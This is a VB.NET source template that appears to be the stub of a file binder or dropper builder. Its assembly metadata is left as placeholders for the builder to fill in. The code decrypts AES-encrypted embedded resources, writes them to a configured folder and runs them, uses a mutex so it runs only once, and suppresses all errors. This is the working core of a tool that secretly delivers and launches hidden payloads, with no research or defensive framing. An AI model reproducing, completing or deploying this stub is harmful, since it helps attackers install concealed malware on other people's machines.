88 lines
3.4 KiB
VB.net
88 lines
3.4 KiB
VB.net
Imports System
|
|
Imports System.IO
|
|
Imports System.Collections
|
|
Imports System.Collections.Generic
|
|
Imports System.Threading
|
|
Imports System.Diagnostics
|
|
Imports System.Runtime.CompilerServices
|
|
Imports Microsoft.VisualBasic
|
|
Imports Microsoft.VisualBasic.CompilerServices
|
|
Imports System.Environment
|
|
Imports System.Reflection
|
|
Imports System.Resources
|
|
Imports System.Security.Cryptography
|
|
Imports System.Runtime.InteropServices
|
|
|
|
<Assembly: AssemblyTitle("%Title%")>
|
|
<Assembly: AssemblyDescription("%Des%")>
|
|
<Assembly: AssemblyCompany("%Company%")>
|
|
<Assembly: AssemblyProduct("%Product%")>
|
|
<Assembly: AssemblyCopyright("%Copyright%")>
|
|
<Assembly: AssemblyTrademark("%Trademark%")>
|
|
<Assembly: AssemblyFileVersion("%v1%" + "." + "%v2%" + "." + "%v3%" + "." + "%v4%")>
|
|
<Assembly: AssemblyVersion("%v1%" + "." + "%v2%" + "." + "%v3%" + "." + "%v4%")>
|
|
<Assembly: Guid("%Guid%")>
|
|
|
|
Public Class Program
|
|
|
|
Public Shared Sub Main()
|
|
|
|
If Not CreateMutex() Then Environment.Exit(0)
|
|
|
|
On Error Resume Next
|
|
Dim FList As Object
|
|
For Each FList In List
|
|
Dim tempFile As String = GETP(Workpath) & "\" & Strings.Split(FList, (SPL))(0)
|
|
If Strings.Split(FList, (SPL))(2) = "True" Then
|
|
If Not IO.File.Exists(tempFile) Then
|
|
IO.File.WriteAllBytes(tempFile, GetTheResource(Strings.Split(FList, (SPL))(0)))
|
|
Process.Start(tempFile)
|
|
End If
|
|
Else
|
|
IO.File.WriteAllBytes(tempFile, GetTheResource(Strings.Split(FList, (SPL))(0)))
|
|
If Strings.Split(FList, (SPL))(1) = "True" Then
|
|
Process.Start(tempFile)
|
|
End If
|
|
End If
|
|
GC.Collect()
|
|
Next
|
|
|
|
End Sub
|
|
Public Shared Function AES_Decryptor(ByVal input As Byte()) As Byte()
|
|
Dim AES As New RijndaelManaged
|
|
Dim Hash As New MD5CryptoServiceProvider
|
|
Try
|
|
AES.Key = Hash.ComputeHash(System.Text.Encoding.UTF8.GetBytes(Mutex))
|
|
AES.Mode = CipherMode.ECB
|
|
Dim DESDecrypter As ICryptoTransform = AES.CreateDecryptor
|
|
Dim Buffer As Byte() = input
|
|
Return DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length)
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Function
|
|
Public Shared Function GetTheResource(ByVal Get_ As String) As Byte()
|
|
Dim MyAssembly As Assembly = Assembly.GetExecutingAssembly()
|
|
Dim MyResource As New Resources.ResourceManager("#ParentRes", MyAssembly)
|
|
Return AES_Decryptor(MyResource.GetObject(Get_))
|
|
End Function
|
|
Public Shared _appMutex As Mutex
|
|
Public Shared Function CreateMutex() As Boolean
|
|
Dim createdNew As Boolean
|
|
_appMutex = New Mutex(False, Mutex, createdNew)
|
|
Return createdNew
|
|
End Function
|
|
Public Shared Function GETP(ByVal StrP As String)
|
|
If (StrP).Contains("%Current%") Then
|
|
Return StrP.Replace("%Current%", AppDomain.CurrentDomain.BaseDirectory)
|
|
Else
|
|
Return System.Environment.ExpandEnvironmentVariables(StrP)
|
|
End If
|
|
End Function
|
|
|
|
Public Shared List As List(Of String) = New List(Of String)(New String() {"%list%"})
|
|
Public Shared Workpath As String = "%Path%"
|
|
Public Shared SPL As String = "%SPL%"
|
|
Public Shared Mutex As String = "%Mutex%"
|
|
|
|
End Class |